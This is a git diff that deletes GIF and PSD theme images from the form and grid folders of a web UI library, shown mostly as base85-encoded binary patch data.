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 BV7LGP diff --git a/public/images/default/form/text-bg.gif b/public/images/default/form/text-bg.gif deleted file mode 100644 index 4179607cc1e9486dd6fcc8467c79b5b41dbf4f76..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 819 zcmZ?wbhEHbWMmLxXlG!!_xRa|&!0bk{rdI$_wPS{{`~#>&!4}4|NZ;_|3AYh7!85p p9s-I#S%6;r&!7YHC@4=ba0oCkvIrP7I50A^3uwfgFi>Ey1^^@>A+7)b diff --git a/public/images/default/form/trigger-tpl.gif b/public/images/default/form/trigger-tpl.gif deleted file mode 100644 index e3701a383107e090fe25d3fb8d63aaa9290435e9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1487 zcmeH`{ZrC+0DwPCBIojs3o|_0?P^-#Ox&%!R?e}@xx}{YYR;I~>N*jn-Qn&=-p-KA zeA(%=S((N$6_|l9fQC+Hxi9#N2luQwPBW3%=l!}^GELum-8=KbTwwF%Rj%DgphgD1_aTFbxxSbc_7 z*tiC}T&|Us6}Q{%@p#OB*cyNreCzg?@X|W$2*O^k*XQ%C`Tc=FAQ%j8?6A4LxwQ?$ zFnGh80{=sSgX_p0D-7aZyI(&6LSe8g^uSq3699<4vDu>uKv9OqBv(z-4-J(@5=c^c zCvT(%gPg*qb@7!*M7$td*%d>&myq6H6@|%BvEwc%rj<`}&sV>d68bLbzTg)ez92R{ zL%OWyA+pbMNDmz0eA2_8Du?G1p`W#a zi*2IW=5FT;Nm@-f=nK&Ju|GKH$G>G{YFkTqB2{y*&pLXG@cG}HCp8gjUV5YGKrX;c zKcN|~+$?$NF%5hJAHnq}74oAsZQo5Wi&P-SqG~)}Tn55ltvZdK`IT)rc<_XRg^Z+L zEoNSBGTq*jc(eqdQjVJMM2OG;fu#t{Wg$qSxg0~TkXJ<4QMskK7QwahebOaMWkPZx zRCQcO<&}om1lH;#2Gv?~f?O}Zn-ZB9UH!@7hU*~W__FO@Msfvo|59dNOf4yZWj)Bw z%xm6#wG3~s&!Wh#gS~vA{n3r&QHV_+#^*Lr;_-`|0`e>QZ$*LSBb*;mXnE6}$b132 z(DJsR0TJCw1C%R+wAP Mbv*YluxN1lKj3usvH$=8 diff --git a/public/images/default/form/trigger.gif b/public/images/default/form/trigger.gif deleted file mode 100644 index fa563147f29f6023c9abd12bb393ab91b0566123..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1688 zcmeH``&W_&9L8TwmX|I}E3>QRu^J{}W@);j)ylA?W;dHB)00tDYTG>J*(x(<%@jT5 zvdlVKnuKzvLk97`=iH63-b85uHnsxwvyb0XSlS zyW^@*wj$lZ*_9B}5n6dUUrNe&cPS-_U=VQ2 zb8-7yvsQ;KyKubdPzfU?E1%iVIVY|i=;K!9<3gsigPl8A1Akul#Q0uVXE^=$O+QKX zgh@x|=Xr(gM|ZFl<)Pje>4&0q@$WoXUvJf5h?Tg8s@KAvBCx5U2DwbnU(@u!*K`YTG|;~K1Vr3y&1 ztK}>Jl0CC@xByz|vH~K|%IVl1M|SI2fA1oz3}k2-OjqC{(|Oyk%-3BsWU`{$`Ih!g zvre}6L~LfUu5sOx7G0zGyRfwSCI;hF)J|sE*jsI5XA(~#3MMubFZF3{aoosE<~59w zNDWnSRfcva{}4u-rSC^}flIc+$oIU{#jaR#_EJ)NIsrc=^vsyMMk5XvB*zSS8o&24u9dwj!}I< z`5`e{=5)Ti8tkJTR)GD<{J&D#X{^h2eV6&w)BOoaDX6zg+I*r_k*cqr9;m7evW}#? zCk75&cSjRk@=qi}D*A5S_K||hR7m}h%1TuhU)Qv1D#}@n7OwO#-K diff --git a/public/images/default/form/trigger.psd b/public/images/default/form/trigger.psd deleted file mode 100644 index 1f1ed646012259c1255514730af9af064a1b9e9a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10829 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 diff --git a/public/images/default/gradient-bg.gif b/public/images/default/gradient-bg.gif deleted file mode 100644 index 8134e4994f2a36da074990b94a5f17aefd378600..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1472 zcmeIx`%jZs7{KwDTLnZd*hMh7R3%&{VK|xh5d@TrMjeTpnq?_&b8`}Bh(kowLJ^R= zwLrP_Mz6F*N-1{`N?)K@6i}uD1>V*|OIv8)A|*;9JN<2c#7;i>=A7rpCpmEmrw$)U zc7mcXc@UIVGnG~gOy34*)9Li-becMyuD$~>)ERVj219+9F_Xbm-(}8ZvefrjGxzFd z?gQ+Z2W-&U2kcoQXO_sF&Em{uap$rD-W-Vsija6n4j*~Q*W?J0hYp%tpk9;bpv@I( z@`Tz)B2B(fn=b+vZGl)@(4Z|8YYQ8+MGfzZp1v;z8bNg>jk*$vu2iBclgyVj>B^es z9|O{PvUGvmyzs<9PmwK9WcqTTMPJ^kuV~R%wCXE?Ha*qBP}OFjwi~K|4nuYOVl`;T zVhzx_SPOK48f&|ZG@#o^cQDa=jErs*qsPQ}W@7f3n4r(hETGq1*K1~j_Lq?Dr%LqcFxvPW zut}by5*6B{LZvEO(+Ju$Vv_!sOuZvAc4ePkK}Mg^X|R8{wv3g3jV&Qm0~*o(w;!4zGtP^}q4TE3f=4jcq2s zNTj41IT7{z(FAgK^iIzZ@_2j+Ir8!+!Q#r@%9(ju7k_5|Ghf7eqx2?7%YoH4jP!wx7HA*Q43) zwFOW=pP6ly3pn=?dHpWVl+z~h4aA7q3Dbmfk>A9h*D=1j0=ZkaJtNDl4|Dy58=OQ4 zb=w|rEX#G|6q4dPk_gFV6VcYbmUmazi7x6i6Xb&As-j$U2PJ(S9-JDYvw05^=DZ2M z-q(%65iC7!Sf=Hfs~2MFb#cc_ASYbPO$Z9ewDx-)GFuhcxKI?v{g{Fd`2H?N2mNoG a(II?Zs7)DAnPM9b=8J95L)rdV=-9sjoxm#q diff --git a/public/images/default/grid/arrow-left-white.gif b/public/images/default/grid/arrow-left-white.gif deleted file mode 100644 index 63088f56e1c33fd23437ab00ef3e10570c4a57fa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 825 zcmZ?wbhEHbWMSZBXlGz>`0uc0#Y_e;`2YVugfU8vhQJ630mYvz%pkAofCx~YVBipA cVC0bDXlQU?ViVMIiI|XhxRH&WjfKG)0LI-8@c;k- diff --git a/public/images/default/grid/arrow-right-white.gif b/public/images/default/grid/arrow-right-white.gif deleted file mode 100644 index e9e06789044eacb8a695cd1df46449bcb2b9aa07..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 825 zcmZ?wbhEHbWMSZBXlGz>`0uc0#Y_e;`2YVugfU8vhQJ630mYvz%pkAofCx~YVBipA cVB}zNNKj~OV&PY_IbpESp@o^1jfKG)0Ls}94FCWD diff --git a/public/images/default/grid/col-move-bottom.gif b/public/images/default/grid/col-move-bottom.gif deleted file mode 100644 index cc1e473ecc1a48f6d33d935f226588c495da4e05..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 868 zcmZ?wbhEHb( zLO{cVgpLOZ6Fwx&_)sw8LBWC#1q=Q+toSft!~X>b{xgh%(GVD#A)xq^g_(hYn?VQU zd{CZX;BaIR=ZFzVT;Rwl#vu{Yu%W4$ky$xng~3BdrVc>?i4_ctPK=BUEM^-R4mL70 a^J-WG2rw*VW@C5a%Q0YR@NEQ2S_1&+BRBT| diff --git a/public/images/default/grid/col-move-top.gif b/public/images/default/grid/col-move-top.gif deleted file mode 100644 index 58ff32cc8fa2aa1be310b03bb2af77c1b77abe93..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 869 zcmZ?wbhEHbG68wVGIhem=U(^LUb4h;c?We$u2%uEc{03e(}^8f$< diff --git a/public/images/default/grid/columns.gif b/public/images/default/grid/columns.gif deleted file mode 100644 index 2d3a82393e31768c22869778698613b2f5f2174a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 962 zcmZ?wbhEHb6krfwXlGyuEL<5_v@*CDh*pJ^t_~?(6IQl1ymDPc)rN@bjZrn5V(PZU z)NOSrd+hMvA+B+IeDltP)?JCMyOZ1ZrgZEJYkQj3eITRnaL%L?Ia5yNO*xf6?R5V1 zGX)b57R)?XH0ylvoQuVCFO|-_Qnuh~<)Ryvi*HsfxmC5~cGa>w)ywZpoH%jn)T#64 z&D*eH!>(Ps_U+r(Fz^e+YaA8aNxk9Lx+wXJ9gs4iBqReojG&n z?%lgL9)0`&|3AYh7!3i+LO}5+3nK#qAA=6a7*L*I;F!-K%OT^jVZp&>mh3YgjfYq| z1(lp?K5S5QW|J^Yxp3pe#^mFCnoeCZo|g`B%4>LkiP*V`#cPUi%)1K8vI{DjqJ>lyj2t2o f3la`CGVn;rtSCr4)W)vpHOFJ)qNAORj11NQ63h`c diff --git a/public/images/default/grid/done.gif b/public/images/default/grid/done.gif deleted file mode 100644 index a937cb22c84a2ac6ecfc12ae9681ab72ed83ca78..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 133 zcmZ?wbhEHb6krfwXl7towPL}p0*huu%~roJzC1V7qiQ)z(xVq;t8Q*e g@TwP&*%vbDj%DY0^FxMh_Sd^OqF)Bg*^}7&&A#5)LvkG7IyS zOnBJr%r7CL!Q$}XP&==XoWqO@51m;T- zPZpr7|1;=-+z!eU3>@+d`VlJv8V|8>3M$wXTxdAR#L6ikV-V2L(7?dJ#=^p24FK}3 BP__U7 diff --git a/public/images/default/grid/grid-blue-hd.gif b/public/images/default/grid/grid-blue-hd.gif deleted file mode 100644 index 862094e6803f522712e4d193c7becd8e9b857dd3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 829 zcmZ?wbhEHbWMmL!XlGzJa`*r7`~Ocp_<#1%{|it4Uw-=k+VlT6U;e-I>i_*W{~x~l z|K$Du=O6#S`uzXxm;WEW{r~*q|F@t2fByde=kI?YU>F6XAuyCfK=CIF(E0xvbU>Z} m<=_zzU~q6?um%8<;zWG_ diff --git a/public/images/default/grid/grid-blue-split.gif b/public/images/default/grid/grid-blue-split.gif deleted file mode 100644 index 5286f58f6f798184c3eeacba1352cfd39b9ae03e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 817 zcmZ?wbhEHbWMbfDXlG!Ub?iS7FpPrH5Ezjmp!kyo=M_wPS^_`om@~ diff --git a/public/images/default/grid/grid-loading.gif b/public/images/default/grid/grid-loading.gif deleted file mode 100644 index d112c54013e1e4c2f606e848352f08958134c46f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 701 zcmZ?wbhEHb6krfw_{6~Q|NsBg$>(oA`P8%SHjuGk&%@0ppYOTwO7TCppKD04vtxj( zk)8oFBLf42;y+oZ(#)I^h4Rdj3>8V47nBGRLn+Q9-(eXZMC@T`q-A zfguTok_rhvuF+B}YGk&S-hZ1Y!QP;7UE)!jv*adK6)hob2AOf}GE&w)<#=MknJHoV zY^}*Md|xE}K6*MO&RAU_^MUKk=Djk=g^pDJi6uprK3M%`#IdVL zUEAw4e{ zmg0{~p6|Ie&p`6H%mYO|r)_gjg|As;$iv1hQk=MZgX#CFjEx2xI6HUG&(-w8Y7Wpj zcm93g6udbnGzoX) diff --git a/public/images/default/grid/grid-vista-hd.gif b/public/images/default/grid/grid-vista-hd.gif deleted file mode 100644 index d0972638e8305d32d4a2419b3dd317f3c8fd3fe2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 829 zcmZ?wbhEHbWMmL!XlGzJe){5xGZ#;uy>#l_<(QpFT5;g3%Bd$|0cmlLhGf{|q`H nPk{0S1BVoYrq2Wc#zV~Pyb=r?3JDC2Ol*7#9t#p29T=29Ey>tSt{5 zHY{*#Vsg}oIT5h%K(m0QN{+|JM3-h^O`|Opf{7fxyq0BWID}eGbgMYd>zNVs*sDWV zoA1qwjZY3uXHRaM;~D(iZJx6IEfY?Wr2(@o4CQoZZdq`CwriwbsHEt#km;etaZ`6L zTz!3gENh*F_qI0?jS`nu#m){}(7wIk@jlUvh3oF_E@dsdaeDjvxJFSXZaJBV1#O2r zgyqE~6rDPbPjEKrQ!sFDJ262wU4TQ;rQ!Sn=9UHq#|Nzf3_+{e1Rfn?ZRD4$;FDGQ z#@r~Pu^>)X$(*&3x9Pl?tj&%CoF~dRyY`d67r$SB{>v~5Mnhoag@EEu7NDp9Gw6W44$2b@93l*? Z95Nmo7Bnz$2y4ZhC{SczU}R*l1^^j55kLR{ diff --git a/public/images/default/grid/grid3-hrow.gif b/public/images/default/grid/grid3-hrow.gif deleted file mode 100644 index 8d459a304e0b224f8c28d6b7b585da7019d28cce..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 836 zcmZ?wbhEHbWMYtDXlG!!aN)x1H}BrOegF2|hj;HkzW?y)!^h7bKYjW6^C!b77!85p z9s-I#S%6;r&!7YHC@4=ba40eea>#gWNI1yM!7mYUVnf4WCKe8!85Rx=4Ga>@3=9GS G4Auam1ttan diff --git a/public/images/default/grid/grid3-special-col-bg.gif b/public/images/default/grid/grid3-special-col-bg.gif deleted file mode 100644 index 0b4d6ca3bf28ba44b4ee215fddf936aab7cdd5a0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 837 zcmZ?wbhEHblwe?DXlG!!aN)x1H}BrOegF2|hj;HkzW?y)!^h7bKYjW6^C!b77!85p z9s-I#S%6;r&!7YHC@4=ba40bda>#gmIKarv!7ZX-kkHV;z{nslr{jQv6El~jRSSoL H0)sUGu7M?* diff --git a/public/images/default/grid/grid3-special-col-sel-bg.gif b/public/images/default/grid/grid3-special-col-sel-bg.gif deleted file mode 100644 index 1dfe9a69eae133929f3835ffcfd108959539b9e5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 843 zcmZ?wbhEHblwe?DXlGzpb>`cJ$GN zbN|hshj0HpdiUqa`#(?L|9SS|&x?`0o(b_B3_s=d77u3+H|!r zfbs+bM-c-fhm6OD1qYj1`88rr6eKbU2cZFVdORzJ@!m~?8+%1KMTTg@3K$aq~=^PX>8{)(q7 acp2+dVHKAK1EYrP>l5}X$w&(@SOWm68Djnb diff --git a/public/images/default/grid/group-collapse.gif b/public/images/default/grid/group-collapse.gif deleted file mode 100644 index 495bb051dcee00b837a948af56f7a59e77b69aa5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 881 zcmZ?wbhEHb}Lc00Z?nwEzGB diff --git a/public/images/default/grid/group-expand-sprite.gif b/public/images/default/grid/group-expand-sprite.gif deleted file mode 100644 index 9c1653b48dbd2d4bb00886c379ba3a66813737c4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 955 zcmZ?wbhEHbuiX3i z{QdXWpZ@~^!zdUHf#DSbia%Kx85kHDbU@w$?_tHlbAgvKT&29}T*1_wr_8B7v4Oad0D zH!!O=%UO7AS#fc($7HS8Q(IPEULLU6Yp&PURaaMg26lV0F?{M|skyG2(-{0TB%q{1$Bh!Jw8USBOURwYF diff --git a/public/images/default/grid/group-expand.gif b/public/images/default/grid/group-expand.gif deleted file mode 100644 index a33ac30bd2b3758ab2e003f70ce638ab77eaf101..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 884 zcmZ?wbhEHbbN~|U;Bpe)@m>5|?LIe~TnPxDF-7pDQklw(o 